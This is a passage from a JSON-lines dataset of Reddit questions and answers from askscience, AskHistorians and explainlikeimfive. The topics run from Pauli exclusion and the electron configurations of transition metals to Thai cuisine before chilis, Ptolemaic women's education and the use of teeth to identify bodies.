pauli exclusion principle.", "If all movement stopped, the objects wouldn't be pushable anyway.", "Actually, there is a very, very, very, very, very small chance that two objects could pass though each other even at room temperature. ", "As other people said the answer is no. First of all the notion that atoms are made mostly of empty space is not really true and that includes zero temperature. Anyway, the reason why you cannot pass two solid through each other is not because there is no empty space in solid, but because of electromagnetic force and Pauli exclusion principle. Basically, you can't get two electrons very close to each other because they repel and they can't be in the same state because of Pauli exclusion principle. \n\nI don't think this is related to electron movement at all.", "Practically, you can't push on an object and keep it at absolute zero."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.youtube.com/watch?v=Oba_RxdESSs"], [], [], [], [], [], []]}
{"q_id": "1vlmbs", "title": "What do we know about religions in the Iberian Peninsula before Roman conquest, and before Christianisation?", "selftext": "Bonus question: Are there traces of those religions and beliefs that have made it to the present day?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1vlmbs/what_do_we_know_about_religions_in_the_iberian/", "answers": {"a_id": ["cetwwob", "ceu4rut"], "score": [11, 2], "text": ["Before the Romans conquered Hispania the region was colonized by diverse peoples. You have Carthaginians bringing in their pantheon, you had Greek colonies and their faith, but the region was inhabited by various tribes of Celt-Iberian decent, because celts migrated there and interbred with the Iberians inbetween 700 and 500 bce. The Celts brought with them Druidism, which proved popular. While certainly not the exact same strain as, say Gallic or British druidism, it was similar enough. The Basque people had a faith centered on a goddess named Mari. Alas, close to nothing is known of the Iberian faith.\n\nYou'll be hard pressed to find any traces of of any of those faiths in Spain or Portugal today. The Middle Ages and the Renaissance did a fine job of eradicating paganism. There is likely to be a person every here or there that believe in the Druidic Gods (I know a druid here in the States, for example) but not because a small group managed to hold on to their faith through the millennia.\n\nEDIT: I found this read on the topic. It's not too long.\n_URL_0_", "About the bonus question, you can find traces of the pre-christian religions in the folklor and miths of northern Spain, specially in Asturias and Cantabria. It's easy to find plenty of tales and miths which have a celtic and pagan roman origin together to miths from pagan germanic (visigoth) origin. They are just folklor and etnology and at the present time they have no religious meaning for anybody apart from a few neo-pagans.\nThe article in the english wikipedia about cantabrian mythology explain more about these miths if you are curious. I hope I helped you. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://libro.uca.edu/mckenna/pagan1.htm"], []]}
{"q_id": "lxrt9", "title": "Would it be possible to project advertising images on the moon?", "selftext": "If so, how would it be done (what kind of equipment) and what how much would it cost for this operation?\n\nEdit: Is there any way around the \"brightness of the sun\" issue? Given an unlimited budget, could we land on the moon and install any equipment there to help achieve the goal of advertising on the moon?\n\nEdit: Unlimited budget and all the time we need.\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/lxrt9/would_it_be_possible_to_project_advertising/", "answers": {"a_id": ["c2wfyaa", "c2wg6bo", "c2wgcec", "c2wgovw", "c2wjv42", "c2wfyaa", "c2wg6bo", "c2wgcec", "c2wgovw", "c2wjv42"], "score": [40, 13, 19, 3, 5, 40, 13, 19, 3, 5], "text": ["the best time to do it would be when the moon was black, no sunlight on it.  But the dispersion of light from the moon (or any object) is dictated by the r^2 rule.  As you double the distance from an object, you receive 1/4 the light.  \n\nI grabbed some numbers to get an estimate of the power required to generate a barely visible dot on the moon:\n\n3.839*10^26 W * 37 / ((100^0.2)^6.5) * (385000km)^2 / (25 light years)^2\n\n3.839*10^26 W : 1 solar luminosity\n\n37: the solar luminosity of vega (which has apparent brightness of 0)\n\n(100^0.2)^6.5): the ratio of vega's apparant luminosity to that of a barely visible star in perfect conditions \n\n385000km : distance to the moon\n\n25 LY: distance to vega\n\n\nResult: 95 MegaWatts\n\nSo presumably a 95 MW perfectly focused laser  on a black moon in perfect conditions would show a barely visible dot.\n\nThings I didnt take into account:\n-stars emit light in a sphere (all directions, the moon reflects in a non-uniform semi-sphere) (this would lower the result)\n-The moon is not a prefect reflector (this would raise the result)", "I would use giant mirrors, and the power of the sun itself... Each pixel, floating in orbit.. Maybe a polarization screen in front, like a giant LCD to turn the mirror \"on and off\".", "Don't forget - your image would be inverted for those south of the Moon's orbital plane.", "Well, it's not realistic to do it on the moon, but there are other solutions - _URL_0_", "Why even use a projector?  You already have the best one right there (the sun) reflected off of it.  If you can find a cheap light absorbing material in large enough sizes, you could use it to create the dark parts of a black and white image.", "the best time to do it would be when the moon was black, no sunlight on it.  But the dispersion of light from the moon (or any object) is dictated by the r^2 rule.  As you double the distance from an object, you receive 1/4 the light.  \n\nI grabbed some numbers to get an estimate of the power required to generate a barely visible dot on the moon:\n\n3.839*10^26 W * 37 / ((100^0.2)^6.5) * (385000km)^2 / (25 light years)^2\n\n3.839*10^26 W : 1 solar luminosity\n\n37: the solar luminosity of vega (which has apparent brightness of 0)\n\n(100^0.2)^6.5): the ratio of vega's apparant luminosity to that of a barely visible star in perfect conditions \n\n385000km : distance to the moon\n\n25 LY: distance to vega\n\n\nResult: 95 MegaWatts\n\nSo presumably a 95 MW perfectly focused laser  on a black moon in perfect conditions would show a barely visible dot.\n\nThings I didnt take into account:\n-stars emit light in a sphere (all directions, the moon reflects in a non-uniform semi-sphere) (this would lower the result)\n-The moon is not a prefect reflector (this would raise the result)", "I would use giant mirrors, and the power of the sun itself... Each pixel, floating in orbit.. Maybe a polarization screen in front, like a giant LCD to turn the mirror \"on and off\".", "Don't forget - your image would be inverted for those south of the Moon's orbital plane.", "Well, it's not realistic to do it on the moon, but there are other solutions - _URL_0_", "Why even use a projector?  You already have the best one right there (the sun) reflected off of it.  If you can find a cheap light absorbing material in large enough sizes, you could use it to create the dark parts of a black and white image."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Space_billboard"], [], [], [], [], ["http://en.wikipedia.org/wiki/Space_billboard"], []]}
{"q_id": "9czlek", "title": "what are \u201cpull-up\u201d and \u201cpull-down\u201d resistors in a circuit?", "selftext": "What are these for? Why are they necessary? How do I know if I need to add one, when building a simple circuit, and how do I choose the resistance / value for it?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9czlek/eli5_what_are_pullup_and_pulldown_resistors_in_a/", "answers": {"a_id": ["e5ecxr3", "e5edmxl"], "score": [9, 3], "text": ["If you have an input to a binary circuit, that input at some point has to be decided on as either 0 or 1. If you leave that input 'floating', then random variations in charge can make the decision circuit unsure as to if the input is high or low. The solution is to provide a 'default' setting, which will overpower the noise associated with a lack of signal, but will be overpowered by an actual signal. So you can either connect it to ground, or power. You don't want to just directly connect it though, because it would overpower any input signal. You need a resistor. As for the value of the resistor, you can probably calculate it based on the characteristics of the digital circuit, but it's safe to say 1-10kohm.\n\nIf you find your circuit still has noise, decrease the resistance. If you find it has trouble changing away from the pull resistor, increase the resistance. ", "They are so a wire have a know voltage if nothing is connected to it and the output is connected to for example a transistor.\n\nA simple example is a button that is open if not pressed and closed if pressed. You connect the wire between the wire and +5V. When you pres the button the voltage is +5V but what happens when you release it? If the circuit on the other end use no current like a MOSFET transistor that might be the input of a integrated circuit the wire can float and still be at +5V for long time.\n\nSo to change the circuit to be 0V when the button is released you connect it with a resistor to ground. What size is needed? That is hard to say as a larger value result in slower change to 0V but a smaller value will let a large current trough it when the button is pressed. If what is connected is not a button with 0 resistans but something  with resistance the  pull down resistor will stop it from reach +5V and if it is to low value resistor the voltage might never get as higher as is needed. \n\nSo  the complex answer is that the value of the resistor depends. Look at values other people have used in similar design and understand your constrains."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "8yjw79", "title": "if michael jackson was chemically castrated, how does he have children?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8yjw79/eli5_if_michael_jackson_was_chemically_castrated/", "answers": {"a_id": ["e2bdu3a", "e2be1s4"], "score": [2, 2], "text": ["They are not his biological children,it is obvious,even without reading any thing about MJ or his \u201ckids\u201d.", "I think the underlying question is actually \u201cDoes he have children?\u201d \n\nWhich is more likely, a chemically castrated singer of strong ethnic heritage, biologically fathers a Benetton ad\u2019s crew of diverse children, none of whom bear a hint of the Jackson family\u2019s strong resemblance to one another, or that a strange, reclusive multi-millionaire arranges for children so that he can live out some sort of fatherhood fantasy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1yeowj", "title": "how much are these timed olympic sports truly determined by skill if the winners are literally split seconds apart?", "selftext": "While watching the speed skating, downhill, bobsledding... I'm noticing the majority of the people racing are literally split seconds or seconds apart from each other. It feels like from a mathematical perspective that they're really determined by chance and not skill. It just almost seems like if you don't make any major screw ups, everyone is competing on almost an even level and these races by fractions... it barely feels competitive when they're that close. Or is it that in these kinds of things, seconds have a higher significance level?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1yeowj/eli5_how_much_are_these_timed_olympic_sports/", "answers": {"a_id": ["cfju2n8", "cfju430", "cfju6un", "cfjvvum"], "score": [10, 13, 4, 2], "text": ["The spread among all practitioners of the sport is much wider than what you see at the Olympics. The Olympics pre-select for the best of the best of the best...all of these athletes are up against the limits of human performance and physics. That's why they all have pretty comparable times. \n\nIt's not just chance, otherwise you wouldn't see favorites win as often as you do. It's just that we're watching only a small subset who were already destined to have extremely similar performance. ", "A perfect example of why it is a measurement of skill even though the competitors are only fractions of a second apart is the luge competition. The championship is decided over four runs but over those runs, the gold medalist was consistently faster than the silver medalist - by only something like three tenths of a second, but *consistently* three tenths of a second. That's not luck.", "When a race is determined by fractions of a second, every single motion you make your body is critical.  You lift your arm up a bit too high, you lose .01 seconds.  You move your leg with the correct motion at the correct angle, you gain .02 seconds.  You lost control of your breathing for a moment, you back down by .03 seconds.  A good athlete will training for years and years just so they can keep that arm down low enough gain the fraction of second they need to win a race.\n\nSo, it this context, minor screws are major screw ups, and only the top athletes are able to minimize and compensate for them.", "In one sense, the top 2 or 5 or 10 competitors have little between them. They're the top 10 in their activity out of 7.5 billion people. Part of the training process is to peak at the Olympics, not before, not after. You need to be excited enough to do your best, but not so excited that you make mistakes. On the other hand, if you're not barely on the edge of control, you may lose to someone who risks a tiny fraction more. \n\nSo it's about being good, being lucky, being daring but not too daring."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "4vsqbx", "title": "There is a story that while in Spain Julius Caesar wept in front of a statue of Alexander the Great. Were there really statues of him this far from Greece and this far away in time?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4vsqbx/there_is_a_story_that_while_in_spain_julius/", "answers": {"a_id": ["d613gz7"], "score": [4], "text": ["Caesar didn't *weep* in front of the statue of Alexander at Gades, Suetonius says he sighed, or groaned:\n\n > ubi cum mandatu praetoris iure dicundo conventus circumiret Gadisque venisset, animadversa apud Herculis templum Magni Alexandri imagine ingemuit \n\n >  > When he was going around the courts to give justice with the mandate of the praetor he came to Gades, and having noticed the statue of Alexander the Great at the temple of Hercules he groaned\n\nThe verb *ingemo* can mean something like \"to lament,\" but its main meaning is \"to groan, sigh\"--it never describes tears. The weeping comes from a similar story that Plutarch tells of Caesar's time in Spain (although Plutarch tells the story as occurring during Caesar's propraetorship in Spain, not his quaestorship), when according to Plutarch Caesar burst into tears while reading a history of Alexander. \n\nAnyway, it's hardly difficult to imagine that a statue of Alexander, who explicitly identified himself with Hercules, would find itself in the temple at Gades, among the most important sanctuaries to the hero in the Mediterranean world. Whether we're supposed to understand this as a dedication by Alexander or some later dynast, or if Suetonius is thinking of this statue as being an actual cult image is more or less irrelevant and not really answerable, as is the question of whether the story Suetonius tells really happened--Caesar lived three hundred years after Alexander, and in a time when his reputation, in the wake of Pompey's successes in the east, was at a high point in the Roman and Mediterranean imagination. It's not at all surprising to find talk of a statue to him really anywhere in the Roman world, and a Roman reader would find nothing odd about it "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cc116g", "title": "What was Thai cuisine like before chilis came from the Americas?", "selftext": "I know questions have been asked like this about Italy and European countries before but I'm specifically interested in Thailand here, or at least ethnic Tai cuisine including Laos, Shan, maybe Chinese Dai.\n\nI've been told that [long pepper](_URL_0_) was used instead. Any truth to that? I've also heard that \"royal cuisine\" in Thailand is pre-Columbian but I don't know the truth of that claim.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/cc116g/what_was_thai_cuisine_like_before_chilis_came/", "answers": {"a_id": ["etl4916", "etlha7s", "etlq9x6"], "score": [19, 53, 14], "text": ["You can crosspost this question to r/AskFoodHistorians/", "Before the chili\u2019s came over in the 1600s, Thai cuisine used various spices such as [peppercorns ](_URL_1_) , ginger and [galangal ](_URL_3_) .\nOriginally, Thai food was prepared in two ways. Either stewed and then baked or grilling. This changed though with Chinese settlement some 1,400 years ago which brought [stir-frying ](_URL_0_) and [deep-frying ](_URL_2_ . These styles created some of the classic Thai foods Pad Thai and Khao Pad, fried noodles and rice respectively.  \nOf course, foods in different areas were all differently influenced. The North took influences from nearby Burma and tends to be milder than the rest of the country along with more use of sticky rice.\nThe northeast is right by Laos and as a result has a lot more spices. Fish and shrimp are more commonly used though due to historic shortages of meat in the area. \nThe central area is home to Thai royal cuisine. This complex style of preparing and displaying food is almost considered an [art form ](_URL_4_). Jasmin rice is also preferred over sticky rice in this region.\nThe southern region has some very unique food techniques compared to the other regions. Coconut milk is used to fry instead of Ghee (clarified butter). Coconut flesh is also used as a standard condiment. Cashews are also commonly used in appetizers.", "There are a few pieces of writings from foreign traders and diplomats from 17th-century Ayutthaya which paint a picture of the lives of people. Unfortunately, contemporary local records are scarce, so Thai scholars also rely quite extensively from these foreign accounts. In particular, these two are ones that I can find at the moment: *Description of the Kingdom of Siam* (1636) from Dutch trader Jeremias van Vliet and *The Kingdom of Siam* (1691) from Simon de la Loub\u00e8re, French diplomat who led a mission to Siam in 1687.\n\nFrom these accounts, it seems that Siamese diet mainly consists of rice, fish, seafood-based condiments, peppers, herbs, and fruits. They also note that despite fertile land and relative abundance of food products, the people tend not to eat excessively and the food was relatively simple. For example, van Vliet wrote\n\n > They are not excessive with their food, but usually only take ordinary rice, dried as well as fresh and salt fish and vegetables. As sauce or dessert they take bladsjan (prepared of shrimps, crabs, mussels and fish mixed with some pepper and salt), fish and pepper sauce, which has a very bad small, but which they find delicious.\n\nThai translator refers to *bladsjan* in van Vliet's book as *pla chom* which is a type of fermented fish.\n\nSimilarly, la Loub\u00e8re wrote that the usual food for the Siamese is rice and (sea and freshwater) fish, although he noted that they did not really care for fresh fish.\n\n > La Table des Siamois n'est pas sompt\u00fceuse: comme nous mangeons moins en est\u00e9 qu'en hyver, ils mangent moins que nous, \u00e0 cause de l'est\u00e9 continuel, dans lequel ils vivent: leur nourriture ordinaire est le ris,  &  le poisson. La mer leur donne de petites hu\u00eetres tres d\u00e9licates, de tres-bonnes petites tortu\u00ebs, des \u00e9crevices de toute taille,  &  d'excellens poissons, dont les especes nous sont inconnu\u00ebs. Leur riviere est aussi fort poissonneuse,  &  nourrit principalement de belles  &  bonnes anguilles. Mais ils font peu de cas du poisson frais.  \n >   \n > \\[...\\]  \n >   \n > Un Siamois fait assez bonne chere avec une livre de ris par jour, qui ne revient au plus qu'a un liard,  &  avec un peu de poisson sec, ou sal\u00e9, qui ne co\u00fbte pas davantage.\n\nLa Loub\u00e8re also mentioned some ingredients by name. The sauces here may refer to *nam phrik*, which nowadays usually contain some sort of chilli. He also mentioned *kapi* or shrimp paste and turmeric.\n\n > Leurs sauces sont simples, un peu d'eau avcec des \u00e9pices, de l'ail, de la ciboule, ou quelque petite herbe de bonne odeur, comme le baume. Ils aiment fort une sauce liquide comme de la moutarde, qui n'est que de petites \u00e9crevisses pourries parce qu'elles sont mal sal\u00e9es: ils l'appellent *cap\u00ec*. \\[...\\]  \n >   \n > Ce qui leur tient lieu de safran est une racine, qui en a le go\u00fbt,  &  la couleur, quand elle est s\u00e9che  &  mise en poudre: la Plante en est connu\u00eb sous le nom de Crocus Indicus. Ils estiment fort sain pour leurs enfans de leur en jaunir le corps  &  le visage: si bien que dans les ru\u00ebs on ne voit que des enfants, qui ont le teint jaune.\n\nLastly, I would like to mention a lexical quirk in modern Thai. Chilli is called *phrik* in Thai, whereas pepper is called *phrik thai*. This *Thai* qualifier is the opposite of the usual pattern in which plants introduced by Europeans tend to be named after a similar existing plant with the suffix for \"foreign\", like tomato is named after local types of aubergine. This may be suggestive of what sort of displacement occurred in Thai culinary practice.\n\n**Sources:**\n\n* [Translation of Jeremias van Vliet's description of the Kingdom of Siam](_URL_0_) by L. F. van Ravenswaay\n* (French) [Description du Royaumme de Siam par Monsr. de la Loub\u00e8re](_URL_1_)\n* (Thai) Sukanya Sujachaya (2017). [Thai Cuisine during the Ayutthaya Period](_URL_2_). Humanities Journal 24(2)"]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Long_pepper?wprov=sfla1"], "answers_urls": [[], ["https://www.recipetineats.com/wp-content/uploads/2015/12/Easy-Classic-Chinese-Beef-Stir-Fry_3-650x974.jpg", "https://qph.fs.quoracdn.net/main-qimg-0089fa504b27ac70b690fe32672b65f7-c", "https://www.thespruceeats.com/thmb/bvei_yMAS_cJXcoeLOEFAU25L1g=/450x0/filters:no_upscale():max_bytes(150000):strip_icc()/GettyImages-56113135-57988edb5f9b58461fecfa4b.jpg)", "https://qph.fs.quoracdn.net/main-qimg-f9bfe9b9b65fc0626a93e0d67351ca69-c", "https://media-cdn.tripadvisor.com/media/photo-s/05/ab/3c/80/ruen-mallika-royal-thai.jpg"], ["http://www.siamese-heritage.org/jsspdf/1904/JSS_007_1b_Ravenswaay_VanVlietsDescriptionOfTheKingdomOfSiam-2.pdf", "https://books.google.com/books?id=PNUMAAAAYAAJ&amp;pg=PA1", "https://www.tci-thaijo.org/index.php/abc/article/view/106404/84235"]]}
{"q_id": "9ox8m3", "title": "The Ptolemaic Dynasty was remarkable in producing a string of formidable female rulers, culminating in one of the most famous women of the ancient world, Cleopatra VII Philopater; what sort of training and education did these women experience? Did their extraordinary status extend beyond royalty?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9ox8m3/the_ptolemaic_dynasty_was_remarkable_in_producing/", "answers": {"a_id": ["e82kyct"], "score": [11], "text": ["This is a fantastic question, but we do not really have a complete picture of the answer. The historical record is full of gaps that obscure the early lives of many famous figures. Fortunately, we can piece together the education of aristocratic Ptolemaic women based on a variety of sources. This obviously includes biographical accounts, but even more important are literary accounts of Hellenistic pedagogy, school exercises or teaching materials (often written of flakes of limestone, discarded potsherds, or tablets), the *Hermeneumata* (school handbooks), and other remnants of the educational system. The structure and culture of the Hellenistic royal court will also be explored.\n\nAlthough this answer does focus on Egypt, many points hold true for other Hellenistic royal courts, particularly that of the Seleucid Empire, and I will try to distinguish between Ptolemaic and broader Hellenistic trends.\n\n#Part 1: Hellenistic Education in Ptolemaic Egypt \n\nTo begin with we should get an idea of what education typically looked like for the Greek elite of Egypt during the reign of the Ptolemids. \n\nThe first instructor of any kind that the Ptolemaic queens would have had were their pedagogues, just like other elite men and women. These pedagogues taught and cared for young children of the elite, reading to them and teaching them basic knowledge. We can imagine these figures as equal parts caretaker and teacher. As children grew older, they eventually outgrew their pedagogues and went onto more formal educations.\n\nFormal education in the Hellenistic world had no enforced academic standards or accreditations that ensured uniformity of quality and curriculum. The educational goals and methods of the classroom were under the control of the teacher who in turn, had to have the trust and cooperation of the parents. However, there were long standing pedagogical traditions which dictated the standards and ideals of teachers. This included the transmission of a canon of literature and knowledge which had become established as *the* basis of a cultured individual\u2019s education. \n\nUnlike a modern education which is aimed at providing students with a basic level of aptitude in the sciences and mathematics, Greek education was mainly concerned with more theoretical, literary, and rhetorical forms of education. This meant that a student might hope to achieve a high degree of mastery in the area of rhetoric and argument, and a comprehensive familiarity with the great works of literature, but they would have a relatively basic level of numeracy. If a youth did study the body or mathemetical theory in any depth, it was usually because they were training to be a physician or mathematician. In the Hellenistic period, philosophy was less important than it had been in the Classical period. Of course, there were exceptions to this rule and I will discuss these further down, namely Cleopatra VII\u2019s reputation and its implications for royal pedagogy.\n\nRaffaella Criboire in *Gymnastics of the Mind* cautions against imagining the ancient school as more orderly and modern than it actually was. Criboire compares the unstandardized, often mixed classroom of the ancient Mediterranean to the one-room schoolhouses of the 19th Century US in their variable quality and effectiveness. These classrooms were usually not found in deducated school buildings but were set up by teachers on temple grounds, private homes, and often enough in the open air (even street corners!)\n\nThe education of the upper echelons of the elite was much more private and focused than these however, and involved personal tutors in the home. This was deemed necessary because of the need to train children for their eventual roles and to provide them with the cultured background which was expected of the civilized elite. More advanced students attended the classes and discussions of famous teachers in Alexandria which was the capital of Greek intellectualism for much of the Ptolemaic period.\n\nThe symbols of the Hellenistic teacher, their chair and rod, demonstrate the relationship between pupil and instructor. Various scenes from the Mediterranean portray male or female teachers sitting and working while their pupils either stand before them, recite, or present them with their work. The rod was for exactly what you might have assumed as corporal punishment was readily employed by teachers as a means to discipline their students.\n\nHellenistic education was typically structured by three somewhat porous stages of learning: \n\n****\n\n\u2022\tThe primary level of education where students mastered literacy, this typically began around age 7. Papyrological evidence has shown that it was at the primary level that the majority of female teachers taught, with female teachers at higher levels being more rare but also making a bigger impression in the historical record.\n\n\n\u2022\tGrammatical education where students studied poetry, and in the case of the Alexandrian aristocracy, this was taught by individuals who had experience composing poetry. The famous names of Greek poetry such as Homer, Sappho, Pindar, Theognis, and Anacreon were studied, as were more contemporary authors such as Callimachus and Theocritus. This required students to accurately read, deconstruct, and critique poetry, and if this all seems very bourgeois, that was exactly the point.\n\n\n\u2022\tRhetorical education, where students mastered oration and argument, generally began around age 14-15. This was not merely debate club, rhetoric was one of the essential components of a Greek education. The majority of students who studied at this level intended to pursue careers as politicians or lawyers, and as such this was necessary vocational training.\n\n****\n\nChildren in Ptolemaic Egypt did not advance to all stages of education the way that children in school are expected to complete their education today. In fact, most students did not continue on to the secondary level, and fewer still continued on to achieve what was considered a complete education. The distinction between students\u2019 level of mastery had little to do with merit, and was primarily dictated by their social background and their prospects. The advanced education provided to the aristocracy was a way to reinforce their own prestige and to provide them with the know-how to hold positions of power later in life.\n\nIt is important to note that even the most basic level of education was available only to a select few, the children of the elite. For girls especially, non-vocational education was accessible only those who came from elite backgrounds. Girls were also less likely to study grammar because there were fewer incentives and pressures that might motivate their parents to provide them with that, and more pressures for them to marry at a young age and turn to the domestic sphere. Rhetoric was almost exclusively studied by a very small slice of aristocratic male youths who were going into the arena of politics or the law.\n\nThese generalizations do not necessarily always apply to the royal family or the cream of the aristocracy for various reasons but I will get to that further down.\n\nAlongside, grammar and rhetoric, boys and girls studied music and dancing. The playing of instruments as well as the recitation of songs and lyric poetry was an important social event, and youths participated in competitions as well as socializing through the practice of music. Dancing and athleticism also went hand in hand, as the Greeks idealised the flexible and lean body, with the smooth movements of dancing being a good form of exercise. Other athletic events, such as running, were participated in by boys and girls alike.\n\nThe gymnasium was another important centre of physical and intellectual education in the Ptolemaic period. These gymnasia were patronized by the elite, and the Ptolemaic family personally patronized the Alexandrian gymnasium which Strabo described as a monumental building. While it is clear that many girls in Ptolemaic Egypt were enrolled in the gymnasium by their parents, it is unclear to what extent they would have participated in the activities of the gymnasium.\n\n**Continued Below:**\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4djm0r", "title": "What makes the electronic configurations of transition metals so unique?", "selftext": "Current undergrad here taking a level 1000 course.\n\n(By unique I meant that I'm unable to grasp what's going on microscopically.. :( )\n\nAccording to the one electron system approximation/model, the 4s atomic orbitals have a lower energy levels, translating into stability for the system and thus getting filled first. This leads to (n)s subshells being filled first, before moving into (n-1)d subshells.\n\nTraditionally, this would be that the electrons in the d subshells are of higher energy levels, and thus would be favorably removed when ionization occurs, yet this is not the case for transition metals e.g:\n\n* Sr has electronic configuration [Ar]3d1 4s2\n* Sr+ has electronic configuration [Ar]3d1 4s1, where the electron is removed from the supposedly lower energy subshell (4s) instead of (3d).\n\nThis question then extends to Nickel, which has electronic configuration:\n\n* Ni = [Ar] 3d8 4s2\n* Ni+ = [Ar] 3d9, indicating a simultaneous removal of an electron from the s subshell and the de-excitation into the d subshell. \n\nIs there an explanation for what is occurring here?\n\nI have done some reading which shows plots of energy levels of 4s and 3d subshells, indicating a crossover at around Z=21 (which is Sc), from thereupon which the 3d orbital has lower energy than the 4s orbital with an increasing energy gap. What is the significance of the gap here? I have slight exposure to Schrodinger's equations and energy level calculations, but is there an explanation besides the math which would help my understanding?\n\nThanks in advance! ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4djm0r/what_makes_the_electronic_configurations_of/", "answers": {"a_id": ["d1rztah"], "score": [10], "text": ["The problem is that the Aufbau principle is only a rule of thumb and holds mostly for neutral atoms. Even there it cannot predict the electronic configurations of all the elements correctly (e.g., Cr = [Ar] 4s1 3d5 instead of 4s2 3d4, or Cu = [Ar] 4s1 3d10 instead of 4s2 3d9).\n\nThis is because the Aufbau principle assumes that electrons are all in distinct atomic orbitals with now interaction between them. The further you go down the periodic table, the more electrons are you adding, and the worse these approximations will get. \n\nIn general you have to consider many different terms to the total energy of an electronic configuration. The essential ones are: (there may be even more, these are the essential ones I learned in university):\n\n1. **The orbital energy:** Electrons will go into orbitals with lower orbital energy first.\n2. **Repulsion energy:** Two electrons in the same orbital repel each other. So, given degenerate energy levels, electrons will first fill all the orbitals with one electron before pairing electrons in the same orbital.\n3. **Exchange energy:** The exchange energy is a quantum mechanical effect between electrons with the same spin in degenerate orbitals. The exchange energy lowers the total energy of the electronic configuration and is the reason why electrons in degenerate orbitals have aligned spins.\n\nNow, for most elements the orbital energy is much larger in comparison to the repulsion and exchange energy and the Aufbau principle holds. However, for the first row transition metals the orbital energy difference between the 4s and 3d orbitals is very small, as you found out yourself, and is dependent on the exact configuration of the nucleus. This is why every atomic configuration has the be analysed on its own. For Cr and Cu it just happens that the energy gained from promoting a 4s electron into the 3d orbital (higher exchange and lower repulsion energy) is larger than the difference in orbital energy between the two, resulting in a net energy gain, and therefore in their  electronic configurations given above.\n\nNow, for ions it gets even more complicated. You are right: starting from K you first fill the lower energy 4s orbitals, followed by the 3d orbitals. However, there is no reason to believe that upon ionizing an atom the same rule can just be followed backwards to find the electronic configuration. Ca+ must not automatically have the same electronic configuration as K, because their number of protons and neutrons is different. For most ions the electronic configuration will indeed be the same, as it is for Ca+ and K btw., but for the first row transition elements it is not, because of the very small energy difference between 4s and 3d orbitals.\n\nSc+ (you wrote Sr, but I assume from the context you mean Sc) does not lose the 3d electron, because the energy gained (repulsion energy, exchange energy, etc.) of having one 4s and one 3d electron is larger than the difference in orbital energy. Note: The same is not true for Ca = [Ar] 4s2, just because the different nucleus. Sc2+ has actually the configuration [Ar] 4s0 3d1, which shows that for Sc2+ the 3d orbital is actually lower in energy than the 4s. Electron-electron repulsion in the tight 3d orbitals is responsible for the fact that for Sc+ and Sc the 4s levels are filled next instead of adding electrons to the 3d shells.\n\nSee [_URL_0_](_URL_0_) and the references given there for a more detailed discussion about this topic."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.rsc.org/eic/2013/11/aufbau-electron-configuration"]]}
{"q_id": "4ivavy", "title": "finite and non-finite clauses and verbs.", "selftext": "I have tried to understand it for so long but I just don't get it! I am a native speaker of English.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4ivavy/eli5_finite_and_nonfinite_clauses_and_verbs/", "answers": {"a_id": ["d31dr72"], "score": [3], "text": ["**Clause**\n\nBasically the smallest grammatical unit. If it can stand alone as a sentence, it is an independent clause. If it cannot stand alone as a sentence, it is a dependent clause.\n\n*The kid shut the door.* Is an independent clause and sentence.\n\n*After he entered the house* Is a dependent clause.\n\nWe can combine clauses together to form complex sentences like this:\n\n*After he entered the house, the kid shut the door.*\n\nClauses typically will have a verb or verb phrase in it.\n\n**Infinitives**\n\nVerbs have different forms depending on how they are used. Most commonly verbs change form depending on the tense (e.g. run vs. ran). The infinitive form of the verb, in English is usually seen with the word \"to\" preceding the verb. (e.g. \"to run\")\n\nA notable thing about infinitives is they cannot exist alone in an independent clause.\n\n**Putting it together.**\n\nSo, simply put, a finite clause is a clause with a finite verb, and a non-finite clause is a clause with a non-finite (infinitive) verb.\n\nExample of non-finite clause: *To get a drink.*\n\nWe should note that non-finite clauses are necessarily dependent; we have to add additional clauses to make a complete sentence:\n\n*The kid entered the house to get a drink.*"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5avpe9", "title": "why are teeth such a useful tool in identifying a dead body?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5avpe9/eli5_why_are_teeth_such_a_useful_tool_in/", "answers": {"a_id": ["d9jqg78", "d9jqgg9", "d9jqhhh"], "score": [7, 2, 38], "text": ["The precise shapes and arrangement of your teeth are like a finger print. No two people's mouths are exactly alike. It's like a fingerprint.  \nAnd people visit dentist and get x-rays done of their teeth to fix problems.  \n  \nSo if all you have is bones, but the guy had a dental x-ray done a few years back, you can identify him using just his teeth.", "Teeth and bones are the only parts of your body that will usually not decay beyond recognition in the first couple years. Most people will have had their dental records made at a dentist, making teeth a great way to identify a body long after fingerprints, facial features or tattoos have decayed.", "Teeth are a very unique characteristics. The way they grow, damage / wear and tear to the teeth, dental procedures done on the teeth -- all of these will be different in different individuals. And because most dentists take semi-frequent dental X-rays and store these, you have something you know for certain belongs to person X to compare to. \n\nAdditionally, teeth don't decay, at least not in the same way like flesh does. That means that even if you find skeletal remains with very few identifying characteristics (like fingerprints, hair, eye colour), those teeth are still going to be there. This is also true if you have unidentified remains that 